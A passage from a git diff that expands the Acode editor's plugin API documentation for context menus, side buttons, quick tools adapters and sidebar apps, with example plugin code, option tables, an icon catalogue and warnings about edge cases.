+					<li action="copy-path"><span class="icon file_copy"></span><span class="text">Copy path</span></li>
+					<li class="separator"></li>
+					<li action="close-tab" class="${file.readOnly ? 'disabled' : ''}"><span class="icon clearclose"></span><span class="text">Close</span></li>
+				`;
+			},
+		});
+
+		menu.addEventListener('click', (event) => {
+			// Ignore ghost clicks that follow a touch-based long press.
+			if (event.detail === 0 && !event.keyboardActivated) return;
+			const action = event.target.closest('[action]')?.getAttribute('action');
+			if (!action) return;
+			menu.hide();
+			acode.exec(action, file.id);
+		});
+
+		menu.show();
+		return menu;
+	}
+
+	// editorManager.on('file-loaded', (file) => {
+	// 	file.tab?.addEventListener('contextmenu', (e) => {
+	// 		e.preventDefault();
+	// 		openTabMenu(file);
+	// 	});
+	// });
+});
+```
+
+## Dismissal behaviour
+
+A context menu is dismissed by any of:
+
+| Trigger | Source |
+|---|---|
+| Tap / mouse-down on the mask overlay | `ontouchstart` / `onmousedown` on `<span class="mask">` |
+| Android Back button | The `main-menu` entry pushed onto the Action Stack |
+| `Escape` / `Esc` key | The menu's `keydown` handler |
+| Clicking a row, **only when `onselect` is set** | `hide()` runs immediately before `onselect` |
+| Your own code | `menu.hide()` or `menu.destroy()` |
+
+:::tip
+With the `innerHTML` form there is no `onselect`, so a row click does **not** close the menu — you must call `hide()` yourself, exactly as in the example above.
+:::
+
+## Gotchas
+
+:::warning
+The Action Stack entry uses the hard-coded id `"main-menu"`, and `actionStack.remove(id)` deletes the **first** match. If two context menus are open at once, closing one can strip the other's Back handler. Close the previous menu before opening a new one.
+:::
+
+:::warning
+`show()` pushes a new Action Stack entry every time it is called, and `destroy()` never removes the entry. Calling `show()` twice stacks two entries, and a Back press after `destroy()` still calls `hide()` on a detached element.
+:::
+
+:::warning
+Position options are read with `options.top || "auto"` (same for `left` / `right` / `bottom`), so a literal `0` counts as "not set" and triggers `toggler`-based positioning. Use small non-zero values, or rely on `toggler`.
+:::
+
+:::warning
+`content` and `innerHTML` are assigned to `innerHTML` verbatim — nothing is escaped or sanitised. Never interpolate file names, clipboard contents or any other untrusted string into them.
+:::
+
+:::warning
+There is no `keepOpen` flag and no submenu support. To keep a menu open across row clicks, omit `onselect`, handle the click yourself and call `hide()` conditionally.
+:::
+
+## Built-in Icons <Badge type="tip" text="new" />
+
+Rows commonly carry an icon as their first child. These are the classes Acode itself uses in its menus and row lists:
+
+| Icon class | Used for |
+|---|---|
+| `clearclose` | Dismiss a filter message, delete a notification |
+| `delete` | Remove a notification |
+| `tune` | Filter controls |
+| `add` | Add a plugin source |
+| `replay` | Rebuild an installed plugin |
+| `more_vert` | Per-item overflow menu |
+| `file_downloadget_app` | Install button |
+| `replace_all` | Replace-all toggle |
+| `account_circle` | Sidebar user avatar |
+| `logout` | Sidebar logout row |
+
+With the `items` form you get text-only rows. To add an icon, a `.value` sub-label, a separator or a disabled row, use the `innerHTML` form:
+
+```js
+contextMenu({
+  innerHTML() {
+    return `<li action="copy-path"><span class="icon file_copy"></span><span class="text">Copy path</span></li>`;
+  },
+}).show();
+```
+
+:::tip
+`innerHTML` replaces **all** children on every `show()`. Any `items` you also pass are appended at creation time and then discarded by the first `show()`, so don't mix the two forms.
+:::
+
+The complete catalogue of built-in icon classes — and `acode.addIcon` for your own — is in [Built-in Icons](../interface-apis/side-buttons.md#built-in-icons).
+
+## Related
+
+- [`acode`](../global-apis/acode.md) — `define` / `require` and `acode.exec`
+- [Action Stack](../advanced-apis/action-stack.md) — the Back-button integration used by every context menu
+- [Selection Menu](../ui-components/selection-menu.md) — editor text-selection actions
+- [Sidebar Apps](./sidebar-apps.md) and [Side Buttons](./side-buttons.md) — other UI surfaces
diff --git a/docs/interface-apis/side-buttons.md b/docs/interface-apis/side-buttons.md
index d890889..047894a 100644
--- a/docs/interface-apis/side-buttons.md
+++ b/docs/interface-apis/side-buttons.md
@@ -1,4 +1,4 @@
-# Side Buttons <Badge type="tip" text="v316+" />
+# Side Buttons <Badge type="tip" text="v318+" />
 
 The side buttons are buttons that appear vertically along the right side of the editor screen.
 
@@ -6,6 +6,16 @@ The side buttons are buttons that appear vertically along the right side of the
 
 `acode.require("sideButton")` creates and renders custom side buttons that users can interact with.
 
+:::info
+`sideButton` was added to the plugin API in **v1.8.7, versionCode `318`**, together with the "show side buttons" setting.
+
+`acode.require` lower-cases the module name, so `acode.require("SideButton")` returns the same function. It is **not** a class — do not call it with `new`.
+:::
+
+### Where the button is anchored
+
+`sideButton` appends into a single shared container, `<div class="side-buttons">`, which is styled `position: absolute; right: 0; top: 0; z-index: 10000` and holds its children in a vertical flex column with a 5 px gap. The app attaches that container to the **active editor pane's content element**, and detaches it from the DOM entirely when the `showSideButtons` setting is `false`. Individual buttons are 15 px wide, with the text rendered vertically.
+
 ## Usage
 
 ```js
@@ -13,7 +23,7 @@ const SideButton = acode.require('sideButton');
 
 const sideButton = SideButton({
   text: 'My Side Button',
-  icon: 'my-icon',
+  icon: 'notes',
   onclick() {
     console.log('clicked');
   },
@@ -30,15 +40,33 @@ sideButton.hide();
 
 ## API Reference
 
+### Signature
+
+```js
+SideButton(options: {
+  text: string,
+  icon: string,
+  onclick: (event: MouseEvent) => void,
+  backgroundColor: string,
+  textColor: string,
+}): { show: () => void, hide: () => void }
+```
+
+`SideButton` is a plain factory function that destructures a single object. It builds the `<button class="side-button">` immediately and returns a handle with exactly two methods.
+
 ### Options
 
-| Name | Type | Description |
-|------|------|-------------|
-| text | `string` | The text label for the button |
-| icon | `string` | CSS class name for the button icon |
-| onclick | `() => void` | Click handler function |
-| backgroundColor | `string` | Background color of the button |
-| textColor | `string` | Text color of the button |
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| text | `string` | Yes | `undefined` | The text label for the button, rendered vertically in a `<span>`. |
+| icon | `string` | Yes | `undefined` | CSS class name for the button icon, applied as `class="icon {icon}"`. See [Built-in Icons](#built-in-icons). |
+| onclick | `(event: MouseEvent) => void` | Yes | `undefined` | Click handler function, bound directly to the `<button>`. |
+| backgroundColor | `string` | Yes | `undefined` | Background color of the button. Any CSS color, including `var(--…)` references. |
+| textColor | `string` | Yes | `undefined` | Text color of the button. Any CSS color, including `var(--…)` references. |
+
+There are no defaults for these options: they are all read straight off the object. `backgroundColor` and `textColor` in particular are applied verbatim to the inline `style`, so omitting them simply leaves the corresponding property unset.
+
+A spring "press" animation (scale `0.95` → `1`) is attached to every button automatically. It is skipped when `<body>` carries the `no-animation` class.
 
 ### Returns
 
@@ -46,5 +74,343 @@ Returns an object with the following methods:
 
 | Method | Type | Description |
 |--------|------|-------------|
-| show | `() => void` | Shows the side button |
-| hide | `() => void` | Hides the side button |
+| show | `() => void` | Appends the button to the shared `sideButtonContainer`, which makes it visible (if the "show side buttons" setting is enabled). |
+| hide | `() => void` | Removes the button element from the DOM. |
+
+Both methods return `undefined`. `show()` moves the existing element, so calling it twice does **not** create two buttons. There is no `addItem`, no `remove`/`removeItem` and no `destroy` — create one handle per button.
+
+:::tip
+CSS custom properties are the idiomatic choice for colors, because they follow the active theme. The app's own button does exactly that:
+
+```js
+const problemButton = SideButton({
+  text: strings.problems,
+  icon: 'warningreport_problem',
+  backgroundColor: 'var(--danger-color)',
+  textColor: 'var(--danger-text-color)',
+  onclick() { acode.exec('open', 'problems'); },
+});
+```
+
+:::
+
+## Complete Plugin Example <Badge type="tip" text="new" />
+
+```js
+acode.setPluginInit('com.example.sideactions', () => {
+  const SideButton = acode.require('sideButton');
+  const settings = acode.require('settings');
+
+  let problemsButton = null;
+  let wordCountButton = null;
+
+  function syncWordCountButton() {
+    const text = editorManager.editor?.state.doc.toString() ?? '';
+
+    if (!text.trim()) {
+      wordCountButton?.hide();
+      return;
+    }
+    if (wordCountButton) {
+      wordCountButton.show();
+      return;
+    }
+
+    wordCountButton = SideButton({
+      text: `${text.trim().split(/\s+/).length} words`,
+      icon: 'notes',
+      onclick() {
+        acode.require('toast')(`${text.length} characters`);
+      },
+      backgroundColor: 'var(--primary-color)',
+      textColor: 'var(--primary-text-color)',
+    });
+    wordCountButton.show();
+  }
+
+  if (settings.value.showSideButtons) {
+    problemsButton = SideButton({
+      text: 'Lint',
+      icon: 'warningreport_problem',
+      onclick() { acode.exec('open', 'problems'); },
+      backgroundColor: 'var(--danger-color)',
+      textColor: 'var(--danger-text-color)',
+    });
+    problemsButton.show();
+  }
+
+  editorManager.on('file-loaded', syncWordCountButton);
+  editorManager.on('save-file', syncWordCountButton);
+  syncWordCountButton();
+
+  acode.setPluginUnmount('com.example.sideactions', () => {
+    problemsButton?.hide();
+    wordCountButton?.hide();
+    // Acode never unsubscribes plugin listeners for you, so remove them here
+    editorManager.off('file-loaded', syncWordCountButton);
+    editorManager.off('save-file', syncWordCountButton);
+  });
+});
+```
+
+## Gotchas
+
+:::warning
+The options object is destructured, so calling `SideButton()` or `SideButton(null)` throws a `TypeError`. Always pass an object.
+:::
+
+:::warning
+The whole container is removed from the DOM when the user's **"show side buttons"** setting is off (default `true`). `show()` still appends to the detached container, so nothing appears and there is no error to hint at the cause. Listen to `acode.require('settings').on('update:showSideButtons', ...)` if you want to re-check the value.
+:::
+
+:::warning
+There is no lifecycle management. The handle you get back is not tied to your plugin, so a plugin that is disabled or unmounted leaves its buttons on screen until it calls `hide()`. Wire `hide()` into `acode.setPluginUnmount` — see [`acode`](../global-apis/acode.md).
+
+Event subscriptions need the same treatment: `acode.unmountPlugin()` only runs your unmount callback, deletes the `plugin-<id>` settings page and unregisters your file icons — it never touches listeners you registered with `editorManager.on()`, so remove every one of them in your unmount handler or they stay active after a reload.
+:::
+
+:::warning
+Buttons share one container in call order — the first `show()` is the topmost. Acode's Problems button is created during editor start-up, so plugin buttons generally appear below it unless you re-`show()` after it.
+:::
+
+:::info
+The icon is rendered as `<spam class="icon {icon}">` — a mistyped custom tag that exists in the shipped source. The `code-editor-icon` font still applies (the CSS targets the `.icon` class, not the tag name), so the glyph shows up correctly, but `querySelector('span.icon')` will not match it. Style it by class, never by tag name.
+:::
+
+## Built-in Icons <Badge type="tip" text="new" />
+
+All icon classes below ship with Acode and can be passed straight to `icon`, or used on any element as `class="icon {name}"`.
+
+```html
+<i class="icon icon-name"></i>
+```
+
+Newer glyphs (`\f…`):
+
+| Icon | Icon | Icon | Icon |
+|---|---|---|---|
+| `like` | `like-solid` | `text-search` | `wand` |
+| `wand-sparkles` | `link` | `brain` | `paperclip` |
+| `palette` | `loader` | `square-terminal` | `house` |
+| `message-circle` | `user-round` | `funnel` | `zap` |
+| `verified` | `terminal` | `tag` | `scale` |
+| `cart` | `lightbulb` | `pin` | `pin-off` |
+
+Main glyph set (`\e9…` / `\ea…`):
+
+| Icon | Icon | Icon | Icon |
+|---|---|---|---|
+| `document-information` | `document-information-outline` | `document-forbidden` | `document-forbidden-outline` |
+| `document-remove` | `document-remove-outline` | `document-checked` | `document-checked-outline` |
+| `document-cancel` | `document-cancel-outline` | `document-error` | `document-error-outline` |
+| `document-locked` | `document-locked-outline` | `document-unlocked` | `document-unlocked-outline` |
+| `document-search` | `document-search-outline` | `document-code` | `document-code-outline` |
+| `document-text` | `document-text-outline` | `text_format` | `chat_bubble` |
+| `movie` | `videocam` | `document-add` | `document-add-outline` |
+| `documents` | `documents-outline` | `folder-information` | `folder-information-outline` |
+| `folder-remove` | `folder-remove-outline` | `folder-add` | `folder-add-outline` |
+| `folder-upload` | `folder-upload-outline` | `folder-download` | `folder-download-outline` |
+| `folder-search` | `folder-search-outline` | `folder` | `folder-outline` |
+| `folder2` | `folder2-outline` | `android` | `angular` |
+| `css3` | `dev-dot-to` | `facebook` | `git` |
+| `github` | `gmail` | `googlechrome` | `googledrive` |
+| `googleplay` | `html5` | `instagram` | `ionic` |
+| `javascript` | `jekyll` | `linkedin` | `markdown` |
+| `npm` | `python` | `react` | `stackexchange` |
+| `stackoverflow` | `telegram` | `twitter` | `visualstudiocode` |
+| `webpack` | `yarn` | `youtube` | `error` |
+| `error_outline` | `warningreport_problem` | `library_addqueueadd_to_photos` | `library_music` |
+| `new_releases` | `not_interesteddo_not_disturb` | `pause` | `pause_circle_filled` |
+| `pause_circle_outline` | `play_arrow` | `play_circle_filled` | `play_circle_outline` |
+| `repeat` | `repeat_one` | `replay` | `shuffle` |
+| `skip_next` | `skip_previous` | `emailmailmarkunreadlocal_post_office` | `vpn_key` |
+| `add` | `add_box` | `add_circle` | `add_circle_outlinecontrol_point` |
+| `block` | `clearclose` | `copy` | `cut` |
+| `paste` | `edit` | `drafts` | `forward` |
+| `remove` | `remove_circledo_not_disturb_on` | `remove_circle_outline` | `send` |
+| `undo` | `save_alt` | `file_copy` | `sd_storagesd_card` |
+| `attach_file` | `attach_money` | `format_bold` | `format_color_fill` |
+| `music_video` | `format_size` | `format_underlined` | `insert_chartpollassessment` |
+| `insert_emoticontag_facesmood` | `insert_invitationevent` | `image` | `publish` |
+| `vertical_align_bottom` | `vertical_align_top` | `monetization_on` | `cloud` |
+| `cloud_done` | `cloud_download` | `cloud_uploadbackup` | `file_downloadget_app` |
+| `file_upload` | `audiotrack` | `music_note` | `movie_filter` |
+| `local_moviestheaters` | `keyboard_arrow_down` | `keyboard_arrow_left` | `keyboard_arrow_right` |
+| `keyboard_arrow_up` | `keyboard_backspace` | `keyboard_capslock` | `keyboard_hide` |
+| `keyboard_tab` | `keyboard_voice` | `laptop_chromebook` | `laptop_mac` |
+| `laptop_windows` | `phone_android` | `phone_iphone` | `color_lenspalette` |
+| `colorize` | `navigate_beforechevron_left` | `navigate_nextchevron_right` | `remove_red_eyevisibility` |
+| `tune` | `add_photo_alternate` | `image_search` | `beenhere` |
+| `apps` | `arrow_back` | `arrow_drop_down` | `arrow_drop_down_circle` |
+| `arrow_drop_up` | `arrow_forward` | `cancel` | `check` |
+| `expand_less` | `expand_more` | `fullscreen` | `fullscreen_exit` |
+| `menu` | `keyboard_control` | `more_vert` | `refresh` |
+| `unfold_less` | `unfold_more` | `arrow_upward` | `subdirectory_arrow_left` |
+| `subdirectory_arrow_right` | `arrow_downward` | `first_page` | `last_page` |
+| `arrow_left` | `arrow_right` | `arrow_back_ios` | `arrow_forward_ios` |
+| `folder_special` | `priority_high` | `notifications` | `notifications_none` |
+| `person` | `public` | `share` | `sentiment_dissatisfied` |
+| `sentiment_neutral` | `sentiment_satisfied` | `sentiment_very_dissatisfied` | `sentiment_very_satisfied` |
+| `stargrade` | `star_half` | `star_outline` | `account_box` |
+| `account_circle` | `android-full` | `autorenew` | `cached` |
+| `check_circle` | `code` | `delete` | `exit_to_app` |
+| `extension` | `favorite` | `favorite_outline` | `help` |
+| `highlight_remove` | `historyrestore` | `home` | `httpslock` |
+| `info` | `info_outline` | `input` | `label` |
+| `label_outline` | `perm_media` | `power_settings_new` | `search` |
+| `settings` | `settings_applications` | `shop` | `spellcheck` |
+| `stars` | `translate` | `visibility_off` | `update` |
+| `g_translate` | `check_circle_outline` | `delete_outline` | `drive_folder_upload` |
+| `library_add_check` | `replay_circle_filled` | `redo` | `save` |
+| `zip` | `zip-outline` | `logout` | `folder_open` |
+| `launchopen_in_new` | `open_in_browser` | `vue` | `angularuniversal` |
+| `linkinsert_link` | `document-text2` | `document-text2-outline` | `document-text4` |
+| `document-text5` | `folder4` | `shift` | `replace` |
+| `replace_all` | `moveline-up` | `moveline-down` | `copyline-up` |
+| `copyline-down` | `acode` | `patreon` | `paypal` |
+| `ruby` | `font_download` | `notes` | `http` |
+| `compare_arrows` | `home_filled` | `height` | `all_inclusive` |
+
+:::tip
+Names are not always what you would guess — the font packs several glyphs onto one class, e.g. `error_outline`, `stargrade`, `library_addqueueadd_to_photos`, `add_circle_outlinecontrol_point`, `remove_circledo_not_disturb_on`, `launchopen_in_new`, `android-full`, `historyrestore`, `httpslock`, `sd_storagesd_card`, `insert_chartpollassessment`, `insert_emoticontag_facesmood`, `emailmailmarkunreadlocal_post_office`, `cloud_uploadbackup`, `local_moviestheaters`, `navigate_beforechevron_left`, `remove_red_eyevisibility`, `not_interesteddo_not_disturb`, `folder4`, `document-text4`.
+
+To register your own icon class instead of using one of these, call `acode.addIcon(className, iconSrc, { monochrome })` — see [`acode.addIcon`](../global-apis/acode.md).
+:::
+
+## Quick Tools Adapters <Badge type="tip" text="new" />
+
+The modern companion to side buttons: if your plugin opens a **custom tab** and wants the quick tools bar (and hardware-keyboard / paste handling) to target that tab instead of the code editor, register a *quick tools adapter*.
+
+:::warning
+`acode.require("quickToolsAdapter")` returns `undefined`. The registry is internal and is **not** registered with `acode.define`. The only supported entry point is the `acode.registerQuickToolsAdapter(tab, adapter)` method — see [`acode`](../global-apis/acode.md).
+:::
+
+### `acode.registerQuickToolsAdapter(tab, adapter): () => void`
+
+| Name | Type | Required | Description |
+|------|------|----------|-------------|
+| `tab` | `EditorFile` | Yes | The tab that owns the adapter. Auto-dispose listens on `tab.on("close", …)` and detaches with `tab.off("close", …)`; both calls are optional-chained. |
+| `adapter` | `QuickToolsAdapter` | Yes | See the method surface below. |
+
+**Returns:** a `dispose()` function. It removes the registration, calls the unsubscribe function returned by `adapter.subscribe()`, detaches the tab's `"close"` listener, aborts in-flight work and calls `adapter.cancel?.()`.
+
+**Throws:**
+
+| Error | Condition |
+|---|---|
+| `TypeError("A quicktools adapter needs a tab, state, availability and execution handlers.")` | `tab` is falsy, or the adapter is missing any of `getState`, `canHandle`, `execute`, `subscribe` |
+| `Error("This tab already has a quicktools adapter.")` | The tab already has a registration |
+
+**Auto-dispose:** the registry attaches `tab.on("close", dispose)`, so closing the tab disposes the adapter for you. `dispose()` is also safe to call twice — the second call is a no-op.
+
+**Active tab only:** routing follows `editorManager.activeFile`. When the user switches to another tab, the previous entry is cancelled and its `AbortSignal` aborted; switching back re-enables it.
+
+### Required adapter surface
+
+| Method | Type | Description |
+|---|---|---|
+| `getState()` | `() => { enabled: boolean, busy: boolean }` | Read on every availability check. When `enabled` is `false` or `busy` is `true`, queued actions are dropped, the `AbortSignal` is aborted and `cancel()` is called. |
+| `canHandle(action)` | `(action: QuickToolsAction) => boolean` | Whether this adapter wants the action. |
+| `subscribe(cb)` | `(cb: () => void) => (() => void) \| void` | Call `cb()` whenever `getState()` changes. The returned function is used to unsubscribe on dispose. |
+| `execute(action, ctx)` | `(action: QuickToolsAction, ctx: { signal: AbortSignal }) => any` | Performs the action. Errors are routed to `onError` instead of being thrown. |
+
+### Optional adapter methods
+
+| Method | Type | Description |
+|---|---|---|
+| `captureSelection()` | `() => any` | Snapshots the current selection so it can be restored before the next action. |
+| `restoreSelection(snapshot)` | `(snapshot: any) => any` | Restores a snapshot taken by `captureSelection()`. |
+| `focus()` | `() => any` | Called when quick tools regains focus after a routed action. |
+| `cancel()` | `() => void` | Called after the signal has been aborted, so you can drop queued work. |
+| `onError(error)` | `(error: any) => void` | Receives `execute` / `focus` rejections while the entry is still valid. |
+
+### Action shapes
+
+| `type` | Fields | Produced by |
+|---|---|---|
+| `text` | `text: string` | Quick tools insert, and `command: "paste"` / <kbd>Ctrl</kbd>+<kbd>V</kbd> which the registry rewrites into `{ type: "text", text }` after reading the native clipboard |
+| `key` | `key: string`, plus `shiftKey`, `ctrlKey`, `altKey`, `metaKey` | Quick tools keys and captured key presses |
+| `command` | `command: string` | Quick tools command buttons, e.g. `find`, `undo`, `redo` |
+
+`type: "modifier"` actions (`shift` / `ctrl` / `alt` / `meta`) are handled by the quick tools handler itself for selection capture and are **not** passed to `execute`.
+
+:::warning
+Once an adapter is registered for a tab, it **owns all editing actions** on that tab. Actions it does not handle are swallowed and never fall through to the code editor — even while an asynchronous action is still pending. If a native context menu is open (`.prompt`, `#palette`, `.context-menu`, `.mask`), routing is additionally blocked and pending work is cancelled.
+:::
+
+:::tip
+While an adapter is registered for a tab, the quick tools toggler's visibility follows `getState().enabled` and ignores the tab's `hideQuickTools` option. Return `enabled: false` from `getState()` to hide the bar for that tab.
+:::
+
+:::info
+For `type: "custom"` tabs the `content` element is mounted inside an **open shadow root** that adopts the app stylesheet. Keep a direct reference to your element (as above) instead of querying the document, and remember that the overlay watcher deliberately never observes shadow roots — your tab can never spuriously block quick tools.
+:::
+
+### Complete adapter example
+
+```js
+acode.setPluginInit('com.example.canvas', () => {
+  const EditorFile = acode.require('EditorFile');
+
+  const panel = document.createElement('div');
+  panel.tabIndex = 0;
+  panel.style.outline = 'none';
+  let text = '';
+
+  const listeners = new Set();
+  const notify = () => listeners.forEach((fn) => fn());
+
+  function setText(value, { focus = false } = {}) {
+    text = value;
+    panel.textContent = value;
+    notify();
+    if (focus) panel.focus();
+  }
+
+  const tab = new EditorFile('canvas', {
+    type: 'custom',
+    content: panel,
+    // hideQuickTools is ignored while an adapter is registered: quick tools
+    // visibility then follows getState().enabled.
+  });
+
+  const dispose = acode.registerQuickToolsAdapter(tab, {
+    getState: () => ({ enabled: true, busy: false }),
+
+    canHandle: (action) =>
+      action.type === 'text' ||
+      (action.type === 'key' && action.key === 'Enter') ||
+      (action.type === 'command' && action.command === 'paste'),
+
+    subscribe: (cb) => {
+      listeners.add(cb);
+      return () => listeners.delete(cb);
+    },
+
+    // Snapshot before a modifier key (Shift/Ctrl/…) is held, so the caret the
+    // next action runs at is the one produced by the previous action.
+    captureSelection: () => ({ caret: text.length }),
+
+    restoreSelection: () => panel.focus(),
+
+    execute: async (action) => {
+      if (action.type === 'text') return setText(text + action.text, { focus: true });
+      if (action.type === 'key' && action.key === 'Enter') return setText(text + '\n', { focus: true });
+    },
+
+    onError: (error) => acode.require('toast')(error.message, 3000),
+  });
+
+  acode.setPluginUnmount('com.example.canvas', () => {
+    dispose(); // the tab's own "close" event would do this too
+  });
+});
+```
+
+## Related
+
+- [`acode`](../global-apis/acode.md) — `require`, `addIcon`, `addCommand`, `setPluginInit` / `setPluginUnmount`
+- [Settings](../editor-components/settings.md) — the "show side buttons" toggle
+- [Sidebar Apps](./sidebar-apps.md) — persistent sidebar UI
+- [Context Menu API](./context-menu.md) — menus anchored to arbitrary elements
+- [Editor File API](../editor-components/editor-file.md) — `EditorFile`, required for custom tabs and quick tools adapters
diff --git a/docs/interface-apis/sidebar-apps.md b/docs/interface-apis/sidebar-apps.md
index b633b56..d8068c3 100644
--- a/docs/interface-apis/sidebar-apps.md
+++ b/docs/interface-apis/sidebar-apps.md
@@ -10,24 +10,58 @@ To use the `SideBarApps` module, import it at the top of your plugin main file:
 const sideBarApps = acode.require('sidebarApps');
 ```
 
+:::info
+`acode.require("sidebarApps")` returns exactly `{ add, get, remove }`. The registry also has internal `init`, `loadApps` and `ensureActiveApp` methods, but those are **not** exposed to plugins — the app calls them during start-up, before plugins are loaded. Module names are case-insensitive.
+:::
+
+## How the sidebar renders an app
+
+`add()` does two things:
+
+1. Creates a `SidebarApp`, whose constructor immediately builds `<div class="container">` and `<span class="icon {icon}" data-action="sidebar-app" data-id="{id}" title="{title}">`, then calls your `initFunction` with the container.
+2. Installs the icon into `.app-icons-container` inside `#sidebar` — prepended when `prepend` is `true`, appended otherwise.
+
+Clicking the icon is handled by one delegated listener on `.app-icons-container`: it reads `data-action` / `data-id` and activates that app. Activating swaps the app's `.container` element into the sidebar's own `.container` slot and toggles the `active` class on its icon.
+
+The active app is persisted in `localStorage` under the key `sidebarAppsLastSection`, and the **first** app you register becomes active if nothing was stored yet.
+
 ## Methods
 
-### `add(icon: string, id: string, title: string, initFunction: (container: HTMLElement)=>void, prepend: boolean, onSelected: (container: HTMLElement)=>void ): void`
+### `add(icon: string, id: string, title: string, initFunction: (container: HTMLElement) => void | (() => void), prepend?: boolean, onSelected?: (container: HTMLElement) => void ): void`
 
 Adds a new app to the sidebar.
 
-Parameters:
-- `icon`: String - Icon class name to display for the app
-- `id`: String - Unique identifier for the app
-- `title`: String - Display title of the app
-- `initFunction`: Function - Called when app is first initialized, receives container element
-- `prepend`: Boolean - Whether to add app at start (true) or end (false) of sidebar
-- `onSelected`: Function - Called whenever app tab is selected, receives container element
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `icon` | `string` | Yes | – | Icon class name to display for the app, applied as `class="icon {icon}"`. See [Built-in Icons](#built-in-icons). |
+| `id` | `string` | Yes | – | Unique identifier for the app. Becomes the icon's `data-id`, the value stored in `sidebarAppsLastSection`, and the key for `get` / `remove`. |
+| `title` | `string` | Yes | – | Display title of the app, used as the icon's `title` (tooltip) attribute. |
+| `initFunction` | `(container: HTMLElement) => void \| (() => void)` | Yes | – | Called **synchronously and immediately** — before the icon is installed — with the app's `<div class="container">`. **Return a cleanup function** and it will be invoked by `remove()`; anything else is ignored. A falsy value is replaced by a no-op. |
+| `prepend` | `boolean` | No | `false` | Whether to add the app at the start (`true`) or the end (`false`) of the sidebar. |
+| `onSelected` | `(container: HTMLElement) => void` | No | `() => {}` | Called whenever the app becomes active, i.e. on every `false` → `true` transition, with the container element. |
+
+**Returns:** `void`.
+
+:::tip
+The built-in apps are declared as plain arrays and spread into `add()`, which is the shape Acode itself uses:
+
+```js
+export default [
+  'documents',      // icon
+  'files',          // id
+  strings['files'], // title
+  initApp,          // init function
+  false,            // prepend
+  onSelected,       // onSelected function
+];
+```
+
+:::
 
 Example:
 ```javascript
 sideBarApps.add(
-  'icon_class', // Icon for the app
+  'notes',      // Icon class for the app (see Built-in Icons below)
   'my_app_id',  // Unique ID
   'My App',     // Display title
   (container) => {
@@ -41,12 +75,14 @@ sideBarApps.add(
   }
 );
 ```
+
 ### `get(id: string): HTMLElement`
 
 Gets the container element for the app with the given ID.
 
-Parameters:
-- `id`: String - ID of the app to get
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `id` | `string` | Yes | – | ID of the app to get. |
 
 Returns:
 - `HTMLElement` - The container element for the app
@@ -56,18 +92,139 @@ Example:
 const container = sideBarApps.get('my_app_id');
 ```
 
+:::warning
+`get()` is **not** a safe lookup. It finds the app with `Array.prototype.find` and then reads `.container` unconditionally, so an unknown `id` throws a `TypeError` (`Cannot read properties of undefined (reading 'container')`) instead of returning `null`. Wrap it in `try`/`catch`, or track the ids you registered.
+:::
+
 ### `remove(id: string): void`
 
 Removes the app with the given ID from the sidebar.
 
-Parameters:
-- `id`: String - ID of the app to remove
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `id` | `string` | Yes | – | ID of the app to remove. |
+
+**Returns:** `void`. An unknown `id` is a silent no-op.
+
+What `remove()` does, in order:
+
+1. Looks up the app; if not found, returns immediately.
+2. Invokes the cleanup function returned by `initFunction` (if any) and clears it.
+3. Removes the icon and the container from the DOM.
+4. If the removed app was active and other apps remain, activates the app matching the stored `sidebarAppsLastSection`, falling back to the first remaining app.
+5. If no apps remain, clears the stored section and removes `sidebarAppsLastSection` from `localStorage`.
 
 Example:
 ```javascript
 sideBarApps.remove('my_app_id');
 ```
 
+## Complete Plugin Example <Badge type="tip" text="new" />
+
+```javascript
+acode.setPluginInit('com.example.todo', () => {
+  const sideBarApps = acode.require('sidebarApps');
+
+  const APP_ID = 'com.example.todo';
+
+  sideBarApps.add(
+    'notes',             // icon
+    APP_ID,              // id
+    'To-do',             // title (tooltip)
+    (container) => {     // initFunction — runs immediately
+      container.classList.add('todo');
+
+      const list = document.createElement('ul');
+      list.className = 'list scroll';
+      list.style.maxHeight = '100%';
+      list.style.overflowY = 'auto';
+
+      const input = document.createElement('input');
+      input.type = 'text';
+      input.placeholder = 'Add a task…';
+
+      const add = () => {
+        const value = input.value.trim();
+        if (!value) return;
+        const li = document.createElement('li');
+        li.textContent = value;
+        li.onclick = () => li.remove();
+        list.appendChild(li);
+        input.value = '';
+      };
+
+      const onKeydown = (e) => {
+        if (e.key === 'Enter') add();
+      };
+      input.addEventListener('keydown', onKeydown);
+
+      container.append(input, list);
+
+      // A returned function becomes the app's cleanup hook: remove() runs it.
+      return () => input.removeEventListener('keydown', onKeydown);
+    },
+    false,               // prepend
+    (container) => {     // onSelected — runs on every activation
+      // Re-run whatever needs live data each time the app becomes visible.
+      container.dataset.opened = String(Date.now());
+    }
+  );
+
+  acode.setPluginUnmount('com.example.todo', () => {
+    sideBarApps.remove(APP_ID); // also runs the initFunction cleanup
+  });
+
+  // Drive the app from anywhere else in your plugin.
+  acode.addCommand({
+    name: 'example.todo.add',
+    description: 'Add a to-do',
+    readOnly: false,
+    exec: () => {
+      sideBarApps.get(APP_ID).querySelector('input')?.focus();
+      return true;
+    }
+  });
+});
+```
+
+## Gotchas
+
+:::warning
+`initFunction` runs **before** the icon is installed, so the container is detached from the DOM at that point. Do not measure layout or query the sidebar from inside it; do the work in `onSelected` instead.
+:::
+
+:::warning
+There is **no** `onopen` / `onclose` option. `onSelected` is the only "opened" hook, and it fires on every activation, not once. Teardown is the value returned from `initFunction` (there is no separate `onremove` argument).
+:::
+
+:::warning
+Duplicate ids are **not** rejected. Two `add()` calls with the same `id` create two apps; `get()` and `remove()` then operate on the first one only. Namespace your ids with your plugin id.
+:::
+
+:::warning
+When the sidebar is closed on phones, the whole `#sidebar` element (and therefore your container) is detached from the DOM. Document-wide updates cannot reach your app until the sidebar is shown again, so re-apply anything derived from the document on each `onSelected`.
+:::
+
+:::tip
+`add()` needs the sidebar to exist. That is guaranteed from a plugin's `init`, because the app calls `sidebarApps.init($sidebar)` and `sidebarApps.loadApps()` before plugins are loaded — but a plugin script evaluated during app boot would throw.
+:::
+
+## Built-in Icons <Badge type="tip" text="new" />
+
+| Icon class | Built-in app |
+|---|---|
+| `documents` | Files (`files`) |
+| `search` | Search in files (`searchInFiles`) |
+| `extension` | Extensions (`extensions`) |
+| `notifications` | Notifications (`notification`) |
+| `favorite` | Sponsor icon (toggled by the "show sponsor sidebar app" setting) |
+
+Any class from the full catalogue works — the complete list, and `acode.addIcon` for your own, is in [Built-in Icons](./side-buttons.md#built-in-icons).
+
